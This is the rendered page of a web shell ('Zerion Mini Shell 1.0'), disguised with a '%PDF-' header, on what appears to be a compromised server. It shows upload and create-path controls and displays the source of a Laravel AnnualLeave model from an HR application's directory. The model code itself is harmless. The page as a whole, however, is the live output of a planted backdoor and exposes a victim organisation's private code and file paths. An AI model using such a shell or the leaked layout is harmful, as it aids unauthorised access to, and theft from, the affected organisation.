%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/hrsys/api/app/Models/
Upload File :
Create Path :
Current File : /var/www/html/hrsys/api/app/Models/AnnualLeave.php

<?php

namespace App\Models;

use Carbon\Carbon;

/**
 * @property integer id
 * @property float quantity
 * @property integer user_id
 * @property User user
 * @property mixed transactions
 */
class AnnualLeave extends BaseModel
{
    /**
     * The attributes that are mass assignable.
     *
     * @var array
     */
    protected $fillable = [
        'quantity',
    ];

    /**
     * The attributes that should be cast to native types.
     *
     * @var array
     */
    protected $casts = [
        'id'       => 'integer',
        'quantity' => 'float',
        'user_id'  => 'integer',
    ];

    public static function calculatePercentage($valid_from = null, $valid_to = null)
    {
        if (!$valid_from) {
            return 100;
        }
        if (!$valid_to) {
            $valid_to = Carbon::now()
                              ->endOfYear();
        }
        $start = Carbon::parse($valid_from)
                       ->max(Carbon::now()
                                   ->startOfYear());
        $end = Carbon::parse($valid_to);
        $diffInDays = $end->diffInDays($start);
        $totalDays = Carbon::now()->daysInYear;
        return $diffInDays / $totalDays;
    }

    public function user()
    {
        return $this->belongsTo(User::class);
    }

    public function transactions()
    {
        return $this->hasMany(AnnualLeaveTransaction::class, 'annual_leave_id');
    }


}

Zerion Mini Shell 1.0